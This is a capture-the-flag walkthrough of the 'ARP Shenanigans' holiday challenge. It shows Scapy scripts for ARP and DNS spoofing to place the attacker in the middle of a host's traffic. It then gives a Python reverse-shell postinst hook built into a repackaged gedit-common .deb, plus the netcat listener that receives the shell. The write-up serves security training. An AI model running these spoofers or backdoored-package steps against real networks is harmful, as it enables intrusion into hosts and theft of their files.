9. ARP Shenanigans
Introduction
Alabaster Snowball in the NetWars area as 'grodo'
I've been trying those skills out myself on this other terminal.
I'm pretty sure I can use tcpdump to sniff some packets.
Then I'm going to try a machine-in-the-middle attack.
Next, I'll spoof a DNS response to point the host to my terminal.
Then I want to respond to its HTTP request with something I'll cook up.
I'm almost there, but I can't quite get it. I could use some help!
For privacy reasons though, I can't let you access this other terminal.
I do plan to ask Santa for a hand with it next time he's nearby, though.
Alabaster Snowball in the NetWars area as 'Santa'
It seems that some interloper here at the North Pole has taken control of the host.
We need to regain access to some important documents associated with Kringle Castle.
Maybe we should try a machine-in-the-middle attack?
That could give us access to manipulate DNS responses.
But we'll still need to cook up something to change the HTTP response.
I'm sure glad you're here Santa.
Objective
Hints
Solution
Information displayed in the terminal:
Jack Frost has hijacked the host at 10.6.6.35 with some custom malware.
Help the North Pole by getting command line access back to this host.
Read the HELP.md file for information to help you in this endeavor.
Note: The terminal lifetime expires after 30 or more minutes so be
sure to copy off any essential work you have done as you go.
guest@ba2f28e8fbbe:~$
guest@ba2f28e8fbbe:~$ cat HELP.md
# How To Resize and Switch Terminal Panes:
You can use the key combinations ( Ctrl+B ↑ or ↓ ) to resize the terminals.
You can use the key combinations ( Ctrl+B o ) to switch terminal panes.
See tmuxcheatsheet.com for more details
# To Add An Additional Terminal Pane:
/usr/bin/tmux split-window -hb
# To exit a terminal pane simply type:
exit
# To Launch a webserver to serve-up files/folder in a local directory:
cd /my/directory/with/files
python3 -m http.server 80
# A Sample ARP pcap can be viewed at:
https://www.cloudshark.org/captures/d97c5b81b057
# A Sample DNS pcap can be viewed at:
https://www.cloudshark.org/captures/0320b9b57d35
# If Reading arp.pcap with tcpdump or tshark be sure to disable name
# resolution or it will stall when reading:
tshark -nnr arp.pcap
tcpdump -nnr arp.pcap
This objective is broken down into 4 stages:
- ARP spoofing
- DNS spoofing
- Exploitation
- Exfiltration
ARP spoofing
A review of the traffic with tcpdump shows regular ARP requests:
13:38:20.103883 ARP, Request who-has 10.6.6.53 tell 10.6.6.35, length 28
To spoof the ARP request the MAC address of this host has to be found using:
guest@f1ea6f297ed0:~/scripts$ ifconfig -a
eth0: flags=4419<UP,BROADCAST,RUNNING,PROMISC,MULTICAST> mtu 1500
inet 10.6.0.4 netmask 255.255.0.0 broadcast 10.6.255.255
ether 02:42:0a:06:00:04 txqueuelen 0 (Ethernet)
RX packets 3990 bytes 168432 (168.4 KB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 11 bytes 966 (966.0 B)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
02:42:0a:06:00:04
Now use tshark to get more details from the ARP packet:
guest@f1ea6f297ed0:~/scripts$ tshark -c 1 -T json |less
... SNIP ... SNIP ... SNIP ...
"arp": {
"arp.hw.type": "1",
"arp.proto.type": "0x00000800",
"arp.hw.size": "6",
"arp.proto.size": "4",
"arp.opcode": "1",
"arp.src.hw_mac": "02:42:0a:06:00:02",
"arp.src.proto_ipv4": "10.6.0.2",
"arp.dst.hw_mac": "00:00:00:00:00:00",
"arp.dst.proto_ipv4": "10.6.6.35"
}
... SNIP ... SNIP ... SNIP ...
Description | Value |
---|---|
MAC address of host that sent the ARP request | 02:42:0a:06:00:02 |
IP address of host that sent the ARP request | 10.6.6.35 |
MAC address of this host | 02:42:0a:06:00:04 |
IP address to spoof | 10.6.6.53 |
This is now sufficient information to modify scripts\arp_resp.py
as follows:
def handle_arp_packets(packet):
# if arp request, then we need to fill this out to send back our mac as the response
if ARP in packet and packet[ARP].op == 1:
ether_resp = Ether(dst="02:42:0a:06:00:02", type=0x806, src="02:42:0a:06:00:04")
arp_response = ARP(pdst="10.6.6.35")
arp_response.op = 2
arp_response.plen = 4
arp_response.hwlen = 6
arp_response.ptype = 0x0800
arp_response.hwtype = 1
arp_response.hwsrc = "02:42:0a:06:00:04"
arp_response.psrc = "10.6.6.53"
arp_response.hwdst = "02:42:0a:06:00:02"
arp_response.pdst = "10.6.6.35"
response = ether_resp/arp_response
sendp(response, iface="eth0")
However, this can be improved as all of the required information is in the ARP request.
# Our eth0 mac address
macaddr = ':'.join(['{:02x}'.format((uuid.getnode() >> i) & 0xff) for i in range(0,8*6,8)][::-1])
def handle_arp_packets(packet):
# if arp request, then we need to fill this out to send back our mac as the response
if ARP in packet and packet[ARP].op == 1:
ether_resp = Ether(dst=packet[ARP].hwsrc, type=0x806, src=macaddr)
arp_response = ARP(pdst=packet[ARP].psrc)
arp_response.op = 2
arp_response.plen = 4
arp_response.hwlen = 6
arp_response.ptype = 0x0800
arp_response.hwtype = 1
arp_response.hwsrc = macaddr
arp_response.psrc = packet[ARP].pdst
arp_response.hwdst = packet[ARP].hwsrc
arp_response.pdst = packet[ARP].psrc
response = ether_resp/arp_response
sendp(response, iface="eth0")
Finally, the sniff line in main
needs to changed so that the script will run continuously.
def main():
# We only want arp requests
berkeley_packet_filter = "(arp[6:2] = 1)"
# sniffing for one packet that will be sent to a function, while storing none
# remove count=1 so that it runs continuously
sniff(filter=berkeley_packet_filter, prn=handle_arp_packets, store=0)
The code is here
Reference
DNS spoofing
With the ARP spoofing working, the output of tcpdump now shows DNS queries for:
14:45:33.056125 IP 10.6.6.35.18390 > 10.6.6.53.53: 0+ A? ftp.osuosl.org. (32)
scripts\dns_resp.py
needs to be modified as follows:
#!/usr/bin/python3
from scapy.all import *
import netifaces as ni
import uuid
# Our eth0 IP
ipaddr = ni.ifaddresses('eth0')[ni.AF_INET][0]['addr']
# Our Mac Addr
macaddr = ':'.join(['{:02x}'.format((uuid.getnode() >> i) & 0xff) for i in range(0,8*6,8)][::-1])
# destination ip we arp spoofed
ipaddr_we_arp_spoofed = "10.6.6.53"
def handle_dns_request(packet):
# Need to change mac addresses, Ip Addresses, and ports below.
# We also need
# mac address of this host as source and the mac address of the requestor from the packet
eth = Ether(src=macaddr, dst=packet[Ether].src)
# IP addresses are of the requestor and the our spoofed IP as the requestor thinks it is talking
# to that ip address
ip = IP(dst=packet[IP].src, src=ipaddr_we_arp_spoofed) # need to replace IP addresses
# need to use set the dport to the value of the port used by the requestor or it will not get back
# and the source port has to be 53 as that is the port for DNS
udp = UDP(dport=packet[UDP].sport, sport=53) # need to replace ports
dns = DNS(
# send a reply that the IP address for ftp.osuosl.org is the ip address of this host
an=DNSRR(rrname=packet[DNSQR].qname, rdata=ipaddr),
# indicate that there is 1 record being returned
ancount = 1,
# include details of the query
qd=packet[DNSQR],
qdcount=packet[DNS].qdcount,
# indicate that this is a response
qr=1
)
dns_response = eth / ip / udp / dns
sendp(dns_response, iface="eth0")
def main():
berkeley_packet_filter = " and ".join( [
"udp dst port 53", # dns
"udp[10] & 0x80 = 0", # dns request
"dst host {}".format(ipaddr_we_arp_spoofed), # destination ip we had spoofed (not our real ip)
"ether dst host {}".format(macaddr) # our macaddress since we spoofed the ip to our mac
] )
# sniff the eth0 int without storing packets in memory and stopping after one dns request
# remove count=1 so that it runs continuously
sniff(filter=berkeley_packet_filter, prn=handle_dns_request, store=0, iface="eth0")
if __name__ == "__main__":
main()
The code is here
Exploitation
The next step is to see what the http request looks like, so start a simple web server using python:
guest@cf750ca9c858:~/scripts$ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.6.6.35 - - [28/Dec/2020 12:04:12] code 404, message File not found
10.6.6.35 - - [28/Dec/2020 12:04:12] "GET /pub/jfrost/backdoor/suriv_amd64.deb HTTP/1.1" 404 -
10.6.6.35 - - [28/Dec/2020 12:04:13] code 404, message File not found
For 10.6.6.35 to find the file that it is looking for the directory structure shown above needs to be created:
guest@cf750ca9c858:~$ mkdir -p pub/jfrost/backdoor
and the webserver restarted:
guest@cf750ca9c858:~$ python3 -m http.server 80
Now follow the instructions to send a command in a customized .deb file
The command that will be sent is:
#!/bin/bash
export RHOST="10.6.0.2"
export RPORT=4444
/usr/bin/python3 -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/bash")' &
exit 0
Save this file to scripts/postinst
.
Create the new debian file as follows:
guest@712ca3339882:~$ cd debs
guest@712ca3339882:~/debs$ mkdir packing
guest@712ca3339882:~/debs$ cd packing
guest@712ca3339882:~/debs/packing$ dpkg -x ../gedit-common_3.36.1-1_all.deb work
guest@712ca3339882:~/debs/packing$ mkdir work/DEBIAN
guest@712ca3339882:~/debs/packing$ ar -x ../gedit-common_3.36.1-1_all.deb
guest@712ca3339882:~/debs/packing$ ls
control.tar.xz data.tar.xz debian-binary work
guest@712ca3339882:~/debs/packing$ xz -dc control.tar.xz | tar -xvf - ./control
./control
guest@712ca3339882:~/debs/packing$ mv control work/DEBIAN
guest@712ca3339882:~/debs/packing$ cp ~/scripts/postinst work/DEBIAN
guest@712ca3339882:~/debs/packing$ chmod 755 work/DEBIAN/postinst
guest@712ca3339882:~/debs/packing$ dpkg-deb --build ./work
dpkg-deb: building package 'gedit-common' in './work.deb'.
A netcat listener will need to be started on the same port as set in the postinst file to listen for the reverse shell:
nc -nlvp 4444
Now the .deb
can be copied over and the shell should open almost immediately:
guest@712ca3339882:~/debs/packing$ cp work.deb ~/pub/jfrost/backdoor/suriv_amd64.deb
Exfiltration
Now the file can be accessed and if necessary a copy created.
guest@712ca3339882:~$ nc -nlvp 4444
listening on [any] 4444 ...
connect to [10.6.0.3] from (UNKNOWN) [10.6.6.35] 60152
bash: /root/.bashrc: Permission denied
jfrost@142ad56841d6:/$ ls
ls
NORTH_POLE_Land_Use_Board_Meeting_Minutes.txt etc lib64 opt sbin usr
bin home libx32 proc srv var
boot lib media root sys
dev lib32 mnt run tmp
jfrost@142ad56841d6:/$ cat NORTH_POLE_Land_Use_Board_Meeting_Minutes.txt
Reading through a copy of NORTH_POLE_Land_Use_Board_Meeting_Minutes.txt, it is found that "Tanta Kringle" recused herself.
Answer
Tanta Kringle
Summary - video
There a quick run through of the process in this video to see how the panes are used in Tmux.